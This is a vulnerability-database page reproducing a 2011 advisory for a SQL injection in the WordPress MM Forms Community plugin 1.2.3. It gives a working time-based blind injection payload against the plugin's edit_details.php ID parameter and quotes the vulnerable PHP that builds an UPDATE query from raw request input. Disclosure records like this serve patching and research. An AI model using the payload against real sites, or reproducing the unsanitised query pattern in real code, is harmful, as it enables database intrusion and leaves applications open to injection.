Lucene search
+L

WordPress Plugin MM Forms Community 1.2.3 - SQL Injection

🗓️ 27 Aug 2011 00:00:00Reported by Miroslav StamparType 
exploitpack
 exploitpack
👁 13 Views

WordPress MM Forms Community plugin 1.2.3 has a SQL injection vulnerability due to improper input handling.

Code
# Exploit Title: WordPress MM Forms Community plugin <= 1.2.3 SQL Injection Vulnerability
# Date: 2011-08-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/mm-forms-community.zip
# Version: 1.2.3 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/mm-forms-community/includes/edit_details.php?ID=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
foreach ($_REQUEST as $key => $value){
	
	
	$SQL="UPDATE wp_contactform_submit_data SET value=".quoteString($value)." WHERE fk_form_joiner_id='".$_REQUEST['ID']."' AND form_key='".$key."'";
	mysql_query($SQL);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation